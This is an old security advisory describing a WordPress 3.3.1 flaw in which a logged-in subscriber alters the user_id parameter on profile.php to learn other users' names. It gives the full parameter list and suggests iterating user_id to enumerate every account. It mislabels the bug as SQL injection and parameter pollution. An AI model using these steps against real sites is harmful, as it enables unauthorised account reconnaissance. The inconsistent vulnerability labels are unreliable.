WordPress 3.3.1 Parameter Pollution

`# TITLE ....... # Wordpress 3.3.1 post-auth SQL Injection ............. #  
# DATE ........ # 16.02.2012 .......................................... #  
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #  
# SOFT LINK ... # http://wordpress.org ................................ #  
# VERSION ..... # 1.0.0 ............................................... #  
# TESTED ON ... # LAMP ................................................ #  
# ..................................................................... #  
  
# 1. What is this?  
# 2. What is the type of vulnerability?  
# 3. Where is bug :)  
# 4. More...  
  
#............................................#  
# 1. What is this?  
This is very nice CMS, You should try it! ;)  
  
# 2. What is the type of vulnerability?  
This is kind of wierd SQL Injection (or parameter manipulation for 'priviledge escalation').  
For user who has admin access there is functionality like "show all users in webapp".  
For normal user (registered, with "role" rights), there isn't functionality like this.  
But using Wordpress in way that it is not designed to, we can get all user-names in   
latest(/installed) WordPress (3.3.1).  
  
# 3. Where is bug :)  
To trigger this vulnerability, we must log in as a normal (registered/role rights) user.  
You should know that this descriptions is covering getting only 1 username.  
To automate this process to enumerate all users, write Your own PoC. ;)  
  
If You're logged in as a normal user ("subscriber"), go to:  
wordpress/wp-admin/profile.php  
  
Now You should set parameters like this:  
?_wpnonce=&  
_wp_http_referer=&  
from=profile&  
checkuser_id=&  
admin_color=&  
admin_bar_front=&  
first_name=last_name=&  
nickname=&  
display_name=&  
[email protected]&  
url=&  
aim=&  
yim=&  
jabber=&  
description=&  
pass1=&  
pass2=&  
action=update&  
user_id=3  
  
Vulnerable parameter is (the last) "user_id".   
When we set this parameter value to other integer value, we can get names of other users in webapp.  
Information about name will back to us in error page (so for automate attacks You should   
use something similar to n+1 (for value of user_id parameter).  
  
I wrote similar tool for 3.2.1 version, here it is:  
http://hauntit.blogspot.com/2011/09/wordpress-321-user-enumeration.html  
  
Cheers!  
  
# 4. More...  
  
- http://www.wordpress.org  
- http://hauntit.blogspot.com  
- http://www.google.com  
- http://portswigger.net  
  
# Best regards  
#   
`